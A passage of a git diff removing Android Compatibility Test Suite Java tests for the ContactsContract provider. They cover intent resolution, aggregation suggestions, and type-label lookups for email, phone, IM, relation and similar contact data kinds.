- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.Intent;
-import android.content.pm.ResolveInfo;
-import android.provider.ContactsContract;
-import android.test.AndroidTestCase;
-
-import java.util.List;
-
-/**
- * Tests to verify that common actions on {@link ContactsContract} content are
- * available.
- */
-public class ContactsContractIntentsTest extends AndroidTestCase {
-    public void assertCanBeHandled(Intent intent) {
-        List<ResolveInfo> resolveInfoList = getContext()
-                .getPackageManager().queryIntentActivities(intent, 0);
-        assertNotNull("Missing ResolveInfo", resolveInfoList);
-        assertTrue("No ResolveInfo found for " + intent.toInsecureString(),
-                resolveInfoList.size() > 0);
-    }
-
-    public void testViewContactDir() {
-        Intent intent = new Intent(Intent.ACTION_VIEW);
-        intent.setData(ContactsContract.Contacts.CONTENT_URI);
-        assertCanBeHandled(intent);
-    }
-
-    public void testPickContactDir() {
-        Intent intent = new Intent(Intent.ACTION_PICK);
-        intent.setData(ContactsContract.Contacts.CONTENT_URI);
-        assertCanBeHandled(intent);
-    }
-
-    public void testGetContentContactDir() {
-        Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
-        intent.setData(ContactsContract.Contacts.CONTENT_URI);
-        assertCanBeHandled(intent);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_AggregationSuggestionsTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_AggregationSuggestionsTest.java
deleted file mode 100644
index 64c1a66..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_AggregationSuggestionsTest.java
+++ /dev/null
@@ -1,213 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.Contacts.AggregationSuggestions;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.provider.cts.contacts.DatabaseAsserts;
-import android.test.AndroidTestCase;
-
-/**
- * CTS tests for {@link android.provider.ContactsContract.Contacts.AggregationSuggestions} APIs.
- */
-public class ContactsContract_AggregationSuggestionsTest extends AndroidTestCase {
-    private static final String[] TEST_PROJECTION
-            = new String[] {Contacts.DISPLAY_NAME, Contacts._ID};
-
-    private ContentResolver mResolver;
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getContext().getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mBuilder.cleanup();
-    }
-
-    // Copy of CP2's ContactAggregatorTest#testAggregationSuggestionsByName unit test.
-    public void testAggregationSuggestionsByNameReversed() throws Exception {
-        long [] contactIds = setupThreeContacts();
-
-        // Setup: create query with first and last name reversed.
-        Uri uri = AggregationSuggestions.builder()
-                .addNameParameter("last1 first1")
-                .build();
-
-        // Execute
-        Cursor cursor = mResolver.query(uri, TEST_PROJECTION, null, null, null);
-
-        // Verify: correct contact is returned.
-        assertEquals(1, cursor.getCount());
-        cursor.moveToFirst();
-        ContentValues values = new ContentValues();
-        values.put(Contacts._ID, contactIds[0]);
-        values.put(Contacts.DISPLAY_NAME, "first1 last1");
-        DatabaseAsserts.assertCursorValuesMatchExactly(cursor, values);
-        cursor.close();
-    }
-
-
-    public void testAggregationSuggestionsByName() throws Exception {
-        long [] contactIds = setupThreeContacts();
-
-        // Setup: create query with first and last name in same order as display name.
-        Uri uri = AggregationSuggestions.builder()
-                .addNameParameter("first1 last1")
-                .build();
-
-        // Execute
-        Cursor cursor = mResolver.query(uri, TEST_PROJECTION, null, null, null);
-
-        // Verify: correct contact is returned.
-        assertEquals(1, cursor.getCount());
-        cursor.moveToFirst();
-        ContentValues values = new ContentValues();
-        values.put(Contacts._ID, contactIds[0]);
-        values.put(Contacts.DISPLAY_NAME, "first1 last1");
-        DatabaseAsserts.assertCursorValuesMatchExactly(cursor, values);
-        cursor.close();
-    }
-
-    public void testAggregationSuggestionsByName_noMatch() throws Exception {
-        setupThreeContacts();
-
-        // Setup: query with name that is completely different than all the contacts.
-        Uri uri = AggregationSuggestions.builder()
-                .addNameParameter("unmatched name")
-                .build();
-
-        // Execute
-        Cursor cursor = mResolver.query(
-                uri, new String[] { Contacts._ID, Contacts.DISPLAY_NAME }, null, null, null);
-
-        // Verify: no matches.
-        assertEquals(0, cursor.getCount());
-    }
-
-    public void testAggregationSuggestionsByName_matchSecondNameParameter() throws Exception {
-        long [] contactIds = setupThreeContacts();
-
-        // Setup: query with two names. The first name is completely unlike all the contacts.
-        Uri uri = AggregationSuggestions.builder()
-                .addNameParameter("unmatched name")
-                .addNameParameter("first2 last2")
-                .build();
-
-        // Execute
-        Cursor cursor = mResolver.query(uri, TEST_PROJECTION, null, null, null);
-
-        // Verify: the second name parameter matches a contact.
-        assertEquals(1, cursor.getCount());
-        ContentValues values = new ContentValues();
-        values.put(Contacts._ID, contactIds[1]);
-        values.put(Contacts.DISPLAY_NAME, "first2 last2");
-        DatabaseAsserts.assertCursorValuesMatchExactly(cursor, values);
-        cursor.close();
-    }
-
-    public void testAggregationSuggestionsByName_matchFirstNameParameter() throws Exception {
-        long [] contactIds = setupThreeContacts();
-
-        // Setup: query with two names. The second name is completely unlike all the contacts.
-        Uri uri = AggregationSuggestions.builder()
-                .addNameParameter("first2 last2")
-                .addNameParameter("unmatched name")
-                .build();
-
-        // Execute
-        Cursor cursor = mResolver.query(uri, TEST_PROJECTION, null, null, null);
-
-        // Verify: the first name parameter matches a contact.
-        assertEquals(1, cursor.getCount());
-        ContentValues values = new ContentValues();
-        values.put(Contacts._ID, contactIds[1]);
-        values.put(Contacts.DISPLAY_NAME, "first2 last2");
-        DatabaseAsserts.assertCursorValuesMatchExactly(cursor, values);
-        cursor.close();
-    }
-
-    private long[] setupThreeContacts() throws Exception {
-        TestRawContact rawContact1 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact1.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.GIVEN_NAME, "first1")
-                .with(StructuredName.FAMILY_NAME, "last1")
-                .insert();
-        rawContact1.load();
-
-        TestRawContact rawContact2 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.GIVEN_NAME, "first2")
-                .with(StructuredName.FAMILY_NAME, "last2")
-                .insert();
-        rawContact2.load();
-
-        TestRawContact rawContact3 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact3.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.GIVEN_NAME, "completely")
-                .with(StructuredName.FAMILY_NAME, "different")
-                .insert();
-        rawContact3.load();
-
-        return new long[] {rawContact1.getContactId(),
-                rawContact2.getContactId(), rawContact3.getContactId()};
-    }
-
-    public void testAggregationSuggestionsQueryBuilderWithContactId() throws Exception {
-        Uri uri = new AggregationSuggestions.Builder().setContactId(12).setLimit(7).build();
-        assertEquals("content://com.android.contacts/contacts/12/suggestions?limit=7",
-                uri.toString());
-    }
-
-    public void testAggregationSuggestionsQueryBuilderWithValues() throws Exception {
-        Uri uri = new AggregationSuggestions.Builder()
-                .addNameParameter("name1")
-                .addNameParameter("name2")
-                .setLimit(7)
-                .build();
-        assertEquals("content://com.android.contacts/contacts/0/suggestions?"
-                + "limit=7"
-                + "&query=name%3Aname1"
-                + "&query=name%3Aname2", uri.toString());
-    }
-}
-
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_EmailTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_EmailTest.java
deleted file mode 100644
index 3f4bd7e..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_EmailTest.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.res.Resources;
-import android.provider.ContactsContract.CommonDataKinds.Email;
-import android.test.AndroidTestCase;
-
-public class ContactsContract_CommonDataKinds_EmailTest extends AndroidTestCase {
-
-    private Resources mResources;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResources = mContext.getResources();
-    }
-
-    public void testGetTypeLabel() {
-        assertGetTypeLabel(Email.TYPE_HOME);
-        assertGetTypeLabel(Email.TYPE_MOBILE);
-        assertGetTypeLabel(Email.TYPE_OTHER);
-        assertGetTypeLabel(Email.TYPE_WORK);
-        assertGetTypeLabel(Email.TYPE_CUSTOM);
-        assertCustomTypeLabel("Custom Label");
-    }
-
-    private void assertGetTypeLabel(int type) {
-        int res = Email.getTypeLabelResource(type);
-        assertTrue(res != 0);
-
-        String label = mResources.getString(res);
-        assertEquals(label, Email.getTypeLabel(mResources, type, ""));
-    }
-
-    private void assertCustomTypeLabel(String label) {
-        int res = Email.getTypeLabelResource(Email.TYPE_CUSTOM);
-        assertTrue(res != 0);
-        assertEquals(label, Email.getTypeLabel(mResources, Email.TYPE_CUSTOM, label));
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_EventTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_EventTest.java
deleted file mode 100644
index b996ad2..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_EventTest.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.provider.ContactsContract.CommonDataKinds.Event;
-import android.test.AndroidTestCase;
-
-public class ContactsContract_CommonDataKinds_EventTest extends AndroidTestCase {
-
-    public void testGetTypeLabel() {
-        assertGetTypeLabel(Event.TYPE_ANNIVERSARY);
-        assertGetTypeLabel(Event.TYPE_BIRTHDAY);
-        assertGetTypeLabel(Event.TYPE_OTHER);
-        assertGetTypeLabel(Event.TYPE_CUSTOM);
-        assertGetTypeLabel(null);
-    }
-
-    private void assertGetTypeLabel(Integer type) {
-        int res = Event.getTypeResource(type);
-        assertTrue(res != 0);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_ImTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_ImTest.java
deleted file mode 100644
index eacceaa..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_ImTest.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.res.Resources;
-import android.provider.ContactsContract.CommonDataKinds.Im;
-import android.test.AndroidTestCase;
-
-public class ContactsContract_CommonDataKinds_ImTest extends AndroidTestCase {
-
-    private Resources mResources;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResources = mContext.getResources();
-    }
-
-    public void testGetProtocolLabel() {
-        assertGetProtocolLabel(Im.PROTOCOL_AIM);
-        assertGetProtocolLabel(Im.PROTOCOL_CUSTOM);
-        assertGetProtocolLabel(Im.PROTOCOL_GOOGLE_TALK);
-        assertGetProtocolLabel(Im.PROTOCOL_ICQ);
-        assertGetProtocolLabel(Im.PROTOCOL_JABBER);
-        assertGetProtocolLabel(Im.PROTOCOL_MSN);
-        assertGetProtocolLabel(Im.PROTOCOL_NETMEETING);
-        assertGetProtocolLabel(Im.PROTOCOL_QQ);
-        assertGetProtocolLabel(Im.PROTOCOL_SKYPE);
-        assertGetProtocolLabel(Im.PROTOCOL_YAHOO);
-        assertCustomProtocolLabel("Custom Label");
-    }
-
-    public void testGetTypeLabel() {
-        assertGetTypeLabel(Im.TYPE_HOME);
-        assertGetTypeLabel(Im.TYPE_WORK);
-        assertGetTypeLabel(Im.TYPE_OTHER);
-        assertGetTypeLabel(Im.TYPE_CUSTOM);
-        assertCustomTypeLabel("Custom Label");
-    }
-
-    private void assertGetProtocolLabel(int type) {
-        int res = Im.getProtocolLabelResource(type);
-        assertTrue(res != 0);
-
-        String label = mResources.getString(res);
-        assertEquals(label, Im.getProtocolLabel(mResources, type, ""));
-    }
-
-    private void assertCustomProtocolLabel(String label) {
-        int res = Im.getProtocolLabelResource(Im.PROTOCOL_CUSTOM);
-        assertTrue(res != 0);
-        assertEquals(label, Im.getProtocolLabel(mResources, Im.PROTOCOL_CUSTOM, label));
-    }
-
-    private void assertGetTypeLabel(int type) {
-        int res = Im.getTypeLabelResource(type);
-        assertTrue(res != 0);
-
-        String label = mResources.getString(res);
-        assertEquals(label, Im.getTypeLabel(mResources, type, ""));
-    }
-
-    private void assertCustomTypeLabel(String label) {
-        int res = Im.getTypeLabelResource(Im.TYPE_CUSTOM);
-        assertTrue(res != 0);
-        assertEquals(label, Im.getTypeLabel(mResources, Im.TYPE_CUSTOM, label));
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_OrganizationTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_OrganizationTest.java
deleted file mode 100644
index fa83d4f..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_OrganizationTest.java
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import junit.framework.Assert;
-
-import android.content.res.Resources;
-import android.provider.ContactsContract.CommonDataKinds.Im;
-import android.provider.ContactsContract.CommonDataKinds.Organization;
-import android.provider.ContactsContract.Data;
-import android.test.AndroidTestCase;
-
-public class ContactsContract_CommonDataKinds_OrganizationTest extends AndroidTestCase {
-
-    private Resources mResources;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResources = mContext.getResources();
-    }
-
-    public void testGetTypeLabel() {
-        assertGetTypeLabel(Organization.TYPE_WORK);
-        assertGetTypeLabel(Organization.TYPE_OTHER);
-        assertGetTypeLabel(Organization.TYPE_CUSTOM);
-        assertCustomTypeLabel("Custom Label");
-    }
-
-    private void assertGetTypeLabel(int type) {
-        int res = Organization.getTypeLabelResource(type);
-        assertTrue(res != 0);
-
-        String label = mResources.getString(res);
-        assertEquals(label, Organization.getTypeLabel(mResources, type, ""));
-    }
-
-    private void assertCustomTypeLabel(String label) {
-        int res = Organization.getTypeLabelResource(Im.TYPE_CUSTOM);
-        assertTrue(res != 0);
-        assertEquals(label, Organization.getTypeLabel(mResources, Im.TYPE_CUSTOM, label));
-    }
-
-    public void testPhoneticNameStyleColumnName() throws Exception {
-        // Make sure the column name is data10 and not phonetic_name_style
-        // from the parent class.
-        assertEquals(Data.DATA10, Organization.PHONETIC_NAME_STYLE);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_PhoneTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_PhoneTest.java
deleted file mode 100644
index 433a32e..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_PhoneTest.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.res.Resources;
-import android.provider.ContactsContract.CommonDataKinds.Phone;
-import android.test.AndroidTestCase;
-
-public class ContactsContract_CommonDataKinds_PhoneTest extends AndroidTestCase {
-
-    private Resources mResources;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResources = mContext.getResources();
-    }
-
-    public void testGetTypeLabel() {
-        assertGetTypeLabel(Phone.TYPE_ASSISTANT);
-        assertGetTypeLabel(Phone.TYPE_CALLBACK);
-        assertGetTypeLabel(Phone.TYPE_CAR);
-        assertGetTypeLabel(Phone.TYPE_COMPANY_MAIN);
-        assertGetTypeLabel(Phone.TYPE_FAX_HOME);
-        assertGetTypeLabel(Phone.TYPE_FAX_WORK);
-        assertGetTypeLabel(Phone.TYPE_HOME);
-        assertGetTypeLabel(Phone.TYPE_ISDN);
-        assertGetTypeLabel(Phone.TYPE_MAIN);
-        assertGetTypeLabel(Phone.TYPE_MMS);
-        assertGetTypeLabel(Phone.TYPE_MOBILE);
-        assertGetTypeLabel(Phone.TYPE_OTHER);
-        assertGetTypeLabel(Phone.TYPE_OTHER_FAX);
-        assertGetTypeLabel(Phone.TYPE_PAGER);
-        assertGetTypeLabel(Phone.TYPE_RADIO);
-        assertGetTypeLabel(Phone.TYPE_TELEX);
-        assertGetTypeLabel(Phone.TYPE_TTY_TDD);
-        assertGetTypeLabel(Phone.TYPE_WORK);
-        assertGetTypeLabel(Phone.TYPE_WORK_MOBILE);
-        assertGetTypeLabel(Phone.TYPE_WORK_PAGER);
-        assertGetTypeLabel(Phone.TYPE_CUSTOM);
-        assertCustomTypeLabel("Custom Label");
-    }
-
-    private void assertGetTypeLabel(int type) {
-        int res = Phone.getTypeLabelResource(type);
-        assertTrue(res != 0);
-
-        String label = mResources.getString(res);
-        assertEquals(label, Phone.getTypeLabel(mResources, type, ""));
-    }
-
-    private void assertCustomTypeLabel(String label) {
-        int res = Phone.getTypeLabelResource(Phone.TYPE_CUSTOM);
-        assertTrue(res != 0);
-        assertEquals(label, Phone.getTypeLabel(mResources, Phone.TYPE_CUSTOM, label));
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_RelationTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_RelationTest.java
deleted file mode 100644
index f5e27ce..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_RelationTest.java
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.res.Resources;
-import android.provider.ContactsContract.CommonDataKinds.Relation;
-import android.test.AndroidTestCase;
-
-public class ContactsContract_CommonDataKinds_RelationTest extends AndroidTestCase {
-
-    private Resources mResources;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResources = mContext.getResources();
-    }
-
-    public void testGetTypeLabel() {
-        assertGetTypeLabel(Relation.TYPE_ASSISTANT);
-        assertGetTypeLabel(Relation.TYPE_BROTHER);
-        assertGetTypeLabel(Relation.TYPE_CHILD);
-        assertGetTypeLabel(Relation.TYPE_DOMESTIC_PARTNER);
-        assertGetTypeLabel(Relation.TYPE_FATHER);
-        assertGetTypeLabel(Relation.TYPE_FRIEND);
-        assertGetTypeLabel(Relation.TYPE_MANAGER);
-        assertGetTypeLabel(Relation.TYPE_MOTHER);
-        assertGetTypeLabel(Relation.TYPE_PARENT);
-        assertGetTypeLabel(Relation.TYPE_PARTNER);
-        assertGetTypeLabel(Relation.TYPE_REFERRED_BY);
-        assertGetTypeLabel(Relation.TYPE_RELATIVE);
-        assertGetTypeLabel(Relation.TYPE_SISTER);
-        assertGetTypeLabel(Relation.TYPE_SPOUSE);
-        assertGetTypeLabel(Relation.TYPE_CUSTOM);
-        assertCustomTypeLabel("Custom Label");
-    }
-
-    private void assertGetTypeLabel(int type) {
-        int res = Relation.getTypeLabelResource(type);
-        assertTrue(res != 0);
-
-        String label = mResources.getString(res);
-        assertEquals(label, Relation.getTypeLabel(mResources, type, ""));
-    }
-
-    private void assertCustomTypeLabel(String label) {
-        int res = Relation.getTypeLabelResource(Relation.TYPE_CUSTOM);
-        assertTrue(res != 0);
-        assertEquals(label, Relation.getTypeLabel(mResources, Relation.TYPE_CUSTOM, label));
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_SipAddressTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_SipAddressTest.java
deleted file mode 100644
index 1406b40..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_SipAddressTest.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.res.Resources;
-import android.provider.ContactsContract.CommonDataKinds.SipAddress;
-import android.test.AndroidTestCase;
-
-public class ContactsContract_CommonDataKinds_SipAddressTest extends AndroidTestCase {
-
-    private Resources mResources;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResources = mContext.getResources();
-    }
-
-    public void testGetTypeLabel() {
-        assertGetTypeLabel(SipAddress.TYPE_HOME);
-        assertGetTypeLabel(SipAddress.TYPE_OTHER);
-        assertGetTypeLabel(SipAddress.TYPE_WORK);
-        assertGetTypeLabel(SipAddress.TYPE_CUSTOM);
-        assertCustomTypeLabel("Custom Label");
-    }
-
-    private void assertGetTypeLabel(int type) {
-        int res = SipAddress.getTypeLabelResource(type);
-        assertTrue(res != 0);
-
-        String label = mResources.getString(res);
-        assertEquals(label, SipAddress.getTypeLabel(mResources, type, ""));
-    }
-
-    private void assertCustomTypeLabel(String label) {
-        int res = SipAddress.getTypeLabelResource(SipAddress.TYPE_CUSTOM);
-        assertTrue(res != 0);
-        assertEquals(label, SipAddress.getTypeLabel(mResources, SipAddress.TYPE_CUSTOM, label));
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_StructuredPostalTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_StructuredPostalTest.java
deleted file mode 100644
index 18a64ce..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_CommonDataKinds_StructuredPostalTest.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.res.Resources;
-import android.provider.ContactsContract.CommonDataKinds.StructuredPostal;
-import android.test.AndroidTestCase;
-
-public class ContactsContract_CommonDataKinds_StructuredPostalTest extends AndroidTestCase {
-
-    private Resources mResources;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResources = mContext.getResources();
-    }
-
-    public void testGetTypeLabel() {
-        assertGetTypeLabel(StructuredPostal.TYPE_HOME);
-        assertGetTypeLabel(StructuredPostal.TYPE_OTHER);
-        assertGetTypeLabel(StructuredPostal.TYPE_WORK);
-        assertGetTypeLabel(StructuredPostal.TYPE_CUSTOM);
-        assertCustomTypeLabel("Custom Label");
-    }
-
-    private void assertGetTypeLabel(int type) {
-        int res = StructuredPostal.getTypeLabelResource(type);
-        assertTrue(res != 0);
-
-        String label = mResources.getString(res);
-        assertEquals(label, StructuredPostal.getTypeLabel(mResources, type, ""));
-    }
-
-    private void assertCustomTypeLabel(String label) {
-        int res = StructuredPostal.getTypeLabelResource(StructuredPostal.TYPE_CUSTOM);
-        assertTrue(res != 0);
-        assertEquals(label, StructuredPostal.getTypeLabel(mResources,
-                StructuredPostal.TYPE_CUSTOM, label));
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_ContactCountsTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_ContactCountsTest.java
deleted file mode 100644
index d5e5b1f..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_ContactCountsTest.java
+++ /dev/null
@@ -1,181 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-
-import java.util.Arrays;
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Bundle;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestContact;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.test.InstrumentationTestCase;
-
-/**
- * CTS tests for {@link android.provider.ContactsContract.ContactCounts} apis.
- */
-public class ContactsContract_ContactCountsTest extends InstrumentationTestCase {
-    private ContentResolver mResolver;
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    final String[] TEST_PROJECTION = new String[] {Contacts.DISPLAY_NAME};
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getInstrumentation().getTargetContext().getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mBuilder.cleanup();
-    }
-
-    public void testContactCounts_noExtraNoExtrasReturned() throws Exception {
-        final String filterString = getFilterString(setupTestData());
-        final Cursor cursor = mResolver.query(Contacts.CONTENT_URI, TEST_PROJECTION,
-                filterString, null, null);
-        try {
